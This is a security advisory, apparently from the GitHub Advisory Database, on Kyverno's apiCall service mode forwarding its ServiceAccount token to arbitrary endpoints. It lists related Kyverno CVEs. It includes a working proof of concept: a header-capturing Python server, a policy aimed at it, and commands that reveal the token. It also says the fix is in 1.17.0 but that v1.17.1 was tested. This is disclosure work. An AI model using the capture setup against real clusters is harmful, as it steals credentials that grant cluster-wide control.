GHSA-8wfp-579w-6r25: Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
Summary Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints. The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.
Published Apr 16, 2026
Affected packages
github.com/kyverno/kyverno
- Ecosystem
- Go
- Affected
- < 1.17.0
- Fixed in
- 1.17.0
- Check
go list -m github.com/kyverno/kyverno
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.
The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.
---
Details
Kyverno's apiCall executor (pkg/engine/apicall/executor.go) reads the ServiceAccount token from:
/var/run/secrets/kubernetes.io/serviceaccount/token
and injects it into every HTTP request as:
Authorization: Bearer <token>This occurs when no explicit Authorization header is defined in the policy.
Root cause
if req.Header.Get("Authorization") == "" {
token := a.getToken()
if token != "" {
req.Header.Add("Authorization", "Bearer "+token)
}
}This logic introduces several issues:
- Implicit credential forwarding to arbitrary endpoints
- No trust boundary validation (external/internal distinction)
- Undocumented behavior
- Header.Add instead of Set allows duplication
- No token sanitization (potential trailing newline)
---
PoC
Preconditions
- Kyverno installed (v1.17.1 tested)
- A policy using
apiCall.service.url
---
Step 1 — Deploy capture server
kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print(self.headers.get('Authorization'), flush=True)
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888---
Step 2 — Create policy
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: token-leak
spec:
rules:
- name: test
match:
any:
- resources:
kinds: ["Pod"]
context:
- name: r
apiCall:
method: GET
service:
url: "http://capture.default.svc:8888"
jmesPath: "@"---
Step 3 — Trigger
kubectl run test --image=nginx---
Step 4 — Observe token
kubectl logs captureOutput:
Authorization: Bearer <SA_TOKEN>---
Impact
Vulnerability class
- Credential exposure / leakage
Impact details
- Exposure of Kubernetes ServiceAccount token
- Token grants:
- Full control over Kyverno policies
- Ability to create/delete webhooks
- Read cluster-wide resources
- Privilege escalation and persistence
Credited to scumfrog.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Go vulnerabilities
All Go entriesCVE-2026-54523
Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system
critical9.6Aug 26, 2026CVE-2026-41485
Kyverno Controller Denial of Service via forEach Mutation Panic
high7.7Apr 24, 2026CVE-2026-41068
Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)
high7.7No fixApr 16, 2026CVE-2026-41323
Kyverno: ServiceAccount token leaked to external servers via apiCall service URL
high8.1Apr 16, 2026CVE-2026-40868
kyverno apicall servicecall implicit bearer token injection leaks kyverno serviceaccount token
high8.1Apr 14, 2026CVE-2026-4789
Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access
high8.5Apr 14, 2026
